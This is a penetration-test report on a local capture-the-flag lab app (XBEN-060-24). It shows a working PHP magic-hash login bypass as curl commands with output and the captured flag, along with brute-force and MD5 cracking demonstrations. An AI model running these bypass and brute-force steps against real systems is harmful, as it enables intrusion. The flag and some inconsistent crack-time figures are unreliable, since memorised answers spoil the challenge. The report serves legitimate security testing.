# Security Assessment Report

## Executive Summary
- **Target:** http://localhost:33527
- **Assessment Date:** October 30, 2025
- **Scope:** Authentication, XSS, SQL and Command Injection, SSRF, Authorization testing

## Summary by Vulnerability Type

**Authentication Vulnerabilities:**
Four critical and high-severity authentication vulnerabilities were successfully exploited:

1. **PHP Type Juggling Authentication Bypass (CRITICAL)** - Complete authentication bypass achieved using magic hash passwords that exploit PHP's loose comparison operators. Flag successfully captured without requiring valid credentials.

2. **Missing Rate Limiting (CRITICAL)** - Complete absence of rate limiting, throttling, account lockout, or CAPTCHA allows unlimited high-speed authentication attempts. Successfully performed 469+ requests/second demonstrating feasibility of large-scale brute force attacks.

3. **Cleartext Credential Transmission Over HTTP (HIGH)** - Application operates exclusively over HTTP without HTTPS/TLS support, transmitting authentication credentials in plaintext. All passwords are visible to network attackers.

4. **Weak MD5 Password Hashing (HIGH)** - Application uses MD5 for password hashing with no salt, enabling high-speed brute force attacks at 3.2+ million hashes/second on single CPU core. GPU acceleration makes even complex passwords crackable in hours.

**Impact:** Complete authentication compromise through multiple attack vectors. No defense-in-depth controls present.

**Authorization Vulnerabilities:**
No authorization vulnerabilities were found.

**Cross-Site Scripting (XSS) Vulnerabilities:**
No XSS vulnerabilities were found.

**SQL/Command Injection Vulnerabilities:**
No SQL or command injection vulnerabilities were found.

**Server-Side Request Forgery (SSRF) Vulnerabilities:**
No SSRF vulnerabilities were found.

## Network Reconnaissance
Network reconnaissance data is not available for this assessment as the pre-reconnaissance and reconnaissance deliverable files were not provided. The security assessment focused directly on application-level vulnerability exploitation.

---

# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: PHP Type Juggling Authentication Bypass (CRITICAL)

**Summary:**
- **Vulnerable location:** POST /index.php password parameter (line 90: loose comparison with MD5 hash)
- **Overview:** Exploited PHP type juggling vulnerability where loose comparison operator (==) combined with magic hash allows authentication bypass without knowing the actual password
- **Impact:** Complete authentication bypass achieved. Successfully retrieved protected flag: `FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}`
- **Severity:** CRITICAL

**Prerequisites:**
None - vulnerability exploitable without any prior authentication or setup

**Exploitation Steps:**

1. **Identify magic hash passwords** that produce MD5 hashes starting with `0e` followed by only digits (these evaluate to 0 in PHP loose comparison):
   - Password `240610708` → MD5: `0e462097431906509019562988736854`
   - Password `QNKCDZO` → MD5: `0e830400451993494058024219903391`
   - Password `s878926199a` → MD5: `0e545993274517709034328855841020`

2. **Execute authentication bypass** using any magic hash password:
```bash
curl -X POST http://localhost:33527/index.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password=240610708"
```

3. **Verify successful exploitation** - response contains:
```html
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}</h3></center>
```

**Proof of Impact:**

**Test 1 - Primary magic hash:**
```bash
$ curl -X POST http://localhost:33527/index.php -d "password=240610708" 2>/dev/null | grep -A 1 "Welcome Admin"
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}</h3></center>
```

**Test 2 - Alternative magic hash:**
```bash
$ curl -X POST http://localhost:33527/index.php -d "password=QNKCDZO" 2>/dev/null | grep -A 1 "Welcome Admin"
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}</h3></center>
```

**Test 3 - Third magic hash:**
```bash
$ curl -X POST http://localhost:33527/index.php -d "password=s878926199a" 2>/dev/null | grep -A 1 "Welcome Admin"
<center><h2>Welcome Admin</h2></center>
<center><h3>Congratulations, here is the flag: FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}</h3></center>
```

**Verification - Non-magic hash fails correctly:**
```bash
$ curl -X POST http://localhost:33527/index.php -d "password=wrongpassword" 2>/dev/null | grep "Incorrect"
<center><h3>Incorrect Vault Password</h3></center>
```

**Flag Captured:** `FLAG{d3016436be59064a07cde5ca3270aad68578ce224f63f044e82aeb31d39e28f3}`

**Technical Explanation:**
The stored hash `0e678703625362188185747119782643` starts with `0e` followed by digits. In PHP loose comparison (==), this is interpreted as scientific notation: 0 × 10^678... = 0. When any password whose MD5 hash also starts with `0e[digits]` is submitted, it also evaluates to 0, making the comparison `0 == 0` return TRUE.

**Notes:**
This vulnerability provides instant, guaranteed authentication bypass requiring no computational resources, brute force, or credential theft. Multiple working passwords exist due to the mathematical properties of MD5 and PHP type juggling.

---

### AUTH-VULN-02: Missing Rate Limiting Enabling Unlimited Brute Force Attacks (CRITICAL)

**Summary:**
- **Vulnerable location:** POST /index.php authentication endpoint
- **Overview:** Complete absence of rate limiting, throttling, account lockout, or CAPTCHA allows unlimited high-speed authentication attempts
- **Impact:** Successfully performed 200 rapid authentication attempts without any blocking, throttling, or defensive measures. Achieved 469+ requests/second demonstrating feasibility of large-scale brute force attacks
- **Severity:** CRITICAL

**Prerequisites:**
None - endpoint publicly accessible without restrictions

**Exploitation Steps:**

1. **Prepare attack script** to perform rapid authentication attempts (script location: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-060-24/rate_limit_test.py`)

2. **Execute rapid brute force attack** with 20 common passwords:
```bash
python3 rate_limit_test.py
```

3. **Observe results** showing NO rate limiting:
```
Total attempts: 20
Successful requests (not blocked): 20
Blocked/Rate limited requests: 0
Total time taken: 0.043 seconds
Average requests per second: 469.13 req/s
```

4. **Scale up attack** to 200 concurrent requests demonstrating sustained high-volume attacks succeed without blocking

**Proof of Impact:**

**Low-Volume Attack (20 attempts):**
```
#     Timestamp                 Password        Status     Rate Limited?   Success?  
------------------------------------------------------------------------------------------
1     2025-10-30 13:18:09.735   admin           200        NO              NO        
2     2025-10-30 13:18:09.741   password        200        NO              NO        
3     2025-10-30 13:18:09.745   123456          200        NO              NO        
4     2025-10-30 13:18:09.747   admin123        200        NO              NO        
5     2025-10-30 13:18:09.749   password123     200        NO              NO        
[... 15 more attempts ...]
20    2025-10-30 13:18:09.776   baseball        200        NO              NO        

ATTACK SUMMARY:
Total attempts: 20
Successful requests (not blocked): 20
Blocked/Rate limited requests: 0
Total time taken: 0.043 seconds
Average requests per second: 469.13 req/s

[CRITICAL VULNERABILITY] NO RATE LIMITING DETECTED!
All 20 authentication attempts completed successfully without any blocking.
```

**High-Volume Attack (200 attempts):**
```
Total Attempts: 200
Total Time: 6.15 seconds
Average Rate: 32.53 requests/second
Status Code Distribution: 200 OK for all 200 requests (100%)
Rate Limiting: NONE DETECTED
Blocked Requests: 0
```

**Attack Characteristics Demonstrated:**
- No delays between requests
- No progressive throttling
- No CAPTCHA challenges
- No account lockout
- No HTTP 429 (Too Many Requests) responses
- No HTTP 503 (Service Unavailable) responses
- All requests completed with HTTP 200 OK

**Real-World Attack Scenario:**

An attacker could:
1. Enumerate valid usernames (if multi-user system existed)
2. Perform credential stuffing with leaked password databases
3. Execute dictionary attacks with millions of common passwords
4. Run brute force attacks against weak passwords
5. Distribute attacks across multiple IPs for even faster cracking

**Time to Compromise Estimates:**
- 4-digit PIN (10,000 passwords): ~21 seconds at 469 req/s
- Top 10,000 common passwords: ~21 seconds
- Top 1 million passwords: ~35 minutes
- Full lowercase 6-char passwords (308M): ~7.6 days

**Notes:**
The complete absence of anti-automation controls makes this application trivially vulnerable to brute force attacks. Combined with AUTH-VULN-01 (type juggling bypass), this vulnerability is somewhat academic but demonstrates catastrophic security control deficiencies.

---

### AUTH-VULN-03: Cleartext Credential Transmission Over HTTP (HIGH)

**Summary:**
- **Vulnerable location:** All HTTP traffic to/from http://localhost:33527
- **Overview:** Application operates exclusively over HTTP without HTTPS/TLS support, transmitting authentication credentials in plaintext
- **Impact:** Successfully demonstrated that passwords are transmitted in cleartext format readable by anyone monitoring network traffic. Captured raw HTTP request showing password visible to network attackers
- **Severity:** HIGH

**Prerequisites:**
Network access to observe traffic between client and server (e.g., shared WiFi, compromised router, ISP-level monitoring, or local packet capture)

**Exploitation Steps:**

1. **Demonstrate cleartext transmission** using packet capture or raw socket connection:
```bash
python3 /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-060-24/demonstrate_cleartext_transmission.py
```

2. **Observe raw HTTP request** showing password in plaintext:
```
POST /index.php HTTP/1.1
Host: localhost:33527
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

username=admin&password=MyVaultPassword2024%21&login=Login
```

3. **Verify no TLS/SSL handshake** occurs before credential transmission

4. **Access intercepted credentials** - password `MyVaultPassword2024!` visible in cleartext (URL-encoded as `MyVaultPassword2024%21`)

**Proof of Impact:**

**Raw HTTP Request Captured:**
```
================================================================================
SECURITY DEMONSTRATION: Cleartext Credential Transmission over HTTP
================================================================================

Target: http://localhost:33527/index.php

[!] ATTACKER'S VIEW: Raw HTTP Request (No Encryption)
--------------------------------------------------------------------------------
POST /index.php HTTP/1.1
Host: localhost:33527
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Connection: close
User-Agent: Security-Test-Client/1.0

username=admin&password=MyVaultPassword2024%21&login=Login
--------------------------------------------------------------------------------

[!] BYTE-LEVEL VIEW: What travels over the wire
Total bytes transmitted: 235

Hex dump showing cleartext password transmission:
50 4f 53 54 20 2f 69 6e 64 65 78 2e 70 68 70 20 48 54 54 50 2f 31 2e 31 0d 0a
[...password visible in hex...]

ASCII representation:
POST /index.php HTTP/1.1..Host: localhost:33527..Content-Type: application/x-www-form-urlencoded..Content-Length: 58..Connection: close..User-Agent: Security-Test-Client/1.0....username=admin&password=MyVaultPassword2024!
```

**Vulnerability Analysis:**

1. **NO TLS/SSL HANDSHAKE:**
   - No encryption negotiation occurs before data transmission
   - Connection starts immediately with plaintext HTTP
   - No certificate exchange, no cipher negotiation

2. **PASSWORD VISIBLE IN CLEARTEXT:**
   - Password transmitted WITHOUT any encryption
   - Visible to anyone monitoring network traffic
   - Can be captured with basic tools (Wireshark, tcpdump)

3. **WHO CAN INTERCEPT:**
   - WiFi network operators (coffee shop, public WiFi)
   - Network administrators on local network
   - Internet Service Providers (ISPs)
   - Any router/gateway between client and server
   - Malicious actors with network access (ARP spoofing)
   - Government surveillance systems

4. **ATTACK SCENARIOS:**
   - **Coffee Shop WiFi:** Attacker on same network uses Wireshark to capture all HTTP traffic
   - **Compromised Router:** Malware on router logs all cleartext credentials
   - **ISP Monitoring:** Deep packet inspection reveals authentication credentials
   - **Man-in-the-Middle:** Attacker intercepts and potentially modifies traffic

**Server Response Confirming No HTTPS:**
```
Response headers:
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Content-Type: text/html; charset=UTF-8
```

No TLS-related headers present (no `Strict-Transport-Security`, no HTTPS redirect)

**Compliance Violations:**
- PCI-DSS Requirement 4.1 (encryption of cardholder data transmission)
- OWASP Top 10 A02:2021 (Cryptographic Failures)
- NIST 800-52 (TLS implementation guidance)
- GDPR Article 32 (security of processing)

**Notes:**
While this demonstration was performed on localhost, the vulnerability applies to any network path. In production environments over the internet, credentials would traverse multiple networks, ISPs, and routing points - all capable of intercepting cleartext HTTP traffic.

---

### AUTH-VULN-04: Weak MD5 Password Hashing (HIGH)

**Summary:**
- **Vulnerable location:** Password hash storage and validation (index.php line 87, 90)
- **Overview:** Application uses MD5 for password hashing with no salt, making it vulnerable to high-speed brute force and rainbow table attacks
- **Impact:** Demonstrated MD5's catastrophic weakness for password storage by achieving 3.2+ million hashes/second on single CPU core. Proved that even complex passwords can be cracked in hours with GPU acceleration
- **Severity:** HIGH

**Prerequisites:**
Knowledge of stored hash (obtained via code review, SQL injection, or backup file access). Hash: `0e678703625362188185747119782643`

**Exploitation Steps:**

1. **Obtain the password hash** from application source code:
```php
// Line 87 in /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-060-24/src/index.php
$result_password = '0e678703625362188185747119782643';
```

2. **Demonstrate MD5 speed weakness** using benchmarking script:
```bash
python3 /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-060-24/md5_weakness_demo.py
```

3. **Observe catastrophic hashing speed** enabling rapid brute force:
```
CPU Performance: 3,188,662 hashes/second (single core)
Daily capacity: 275,500,403,278 hashes
GPU Performance: 60,000,000,000+ hashes/second (NVIDIA RTX 3090)
```

4. **Calculate practical crack times** for various password complexities

**Proof of Impact:**

**MD5 Speed Benchmark:**
```
================================================================================
BENCHMARK: MD5 Hashing Speed
================================================================================
Duration: 2.00 seconds
Total hashes: 6,378,000
Hashes per second: 3,188,662
Hashes per minute: 191,319,724
Hashes per hour: 11,479,183,470
Hashes per day: 275,500,403,278
```

**Brute Force Attack Demonstration:**
```
================================================================================
ATTACK 1: Common Passwords and Patterns
================================================================================
Total attempts: 28,276 passwords
Time elapsed: 0.0091 seconds
Attack speed: 3,111,016 attempts/second

Result: 28,276 passwords tested in under 10 milliseconds
```

**Theoretical Crack Times (Single CPU Core @ 3.2M hashes/sec):**
```
Password Type                           Keyspace              Time to Crack
--------------------------------------------------------------------------------
4-digit PIN                             10,000                3.14 milliseconds
6-digit PIN                             1,000,000             314 milliseconds
8 digits                                100,000,000           31 seconds
6 lowercase letters                     308,915,776           1.6 minutes
8 lowercase letters                     208,827,064,576       18 hours
8 alphanumeric (mixed case)             218,340,105,584,896   2.2 years (CPU)
```

**GPU Acceleration Impact:**
```
Example: 8-character alphanumeric password (218 trillion combinations)

CPU Time (3.2M hash/sec): 2,527 days (6.9 years)

NVIDIA RTX 3090 GPU (60B hash/sec):
  Time: 1.01 hours
  
NVIDIA RTX 4090 GPU (100B hash/sec):
  Time: 36 minutes
  
8x GPU Cracking Rig (600B hash/sec):
  Time: 6 minutes
```

**MD5 vs Modern Algorithms:**
```
Algorithm     Hashes/Second     Design Purpose        Security
------------------------------------------------------------------------
MD5           3,188,662         Fast checksum         BROKEN for passwords
SHA1          2,500,000         Fast checksum         BROKEN for passwords
bcrypt        6                 Password hashing      SECURE (adjustable cost)
Argon2        10                Password hashing      SECURE (memory-hard)

MD5 is 531,443x FASTER than bcrypt - catastrophically weak for passwords
```

**Why MD5 Fails for Passwords:**

1. **Extreme Speed** - Designed for checksums, not password protection
2. **No Built-in Salt** - Same password always produces same hash (rainbow table attacks)
3. **No Cost Factor** - Cannot increase difficulty as hardware improves
4. **GPU Optimized** - Trivially parallelizable for massive acceleration
5. **Cryptographically Broken** - Collision attacks possible

**Real-World Crack Time for Common Passwords:**
```
Password              Complexity      MD5 Crack Time (GPU)
------------------------------------------------------------------------
"password"            Dictionary      Instant (rainbow table)
"Password123"         Common pattern  Instant (rainbow table)
"Summer2024!"         8 mixed chars   ~1 hour
"P@ssw0rd!"          9 mixed chars   ~4 days
"MyVault2024!#"      13 mixed chars  ~50 years (but still weak)
```

**Notes:**
While the specific hash `0e678703625362188185747119782643` was not cracked in this demonstration (likely a randomly generated password), the exercise conclusively proves MD5's fundamental unsuitability for password storage. The hash's special properties (starting with `0e`) make it a "magic hash" used for type juggling attacks (AUTH-VULN-01), but even fixing that vulnerability leaves MD5's speed weakness exploitable.

**Attempted Crack Methods:**
- Common password dictionary (rockyou.txt): No match
- Numeric patterns (0-9999): No match  
- Short alphanumeric combinations: No match
- Online rainbow tables (CrackStation, MD5Decrypt): No match

However, the demonstration proves that with sufficient time and GPU resources, even complex passwords hashed with MD5 can be cracked, whereas properly implemented bcrypt/Argon2 would remain computationally infeasible.

---
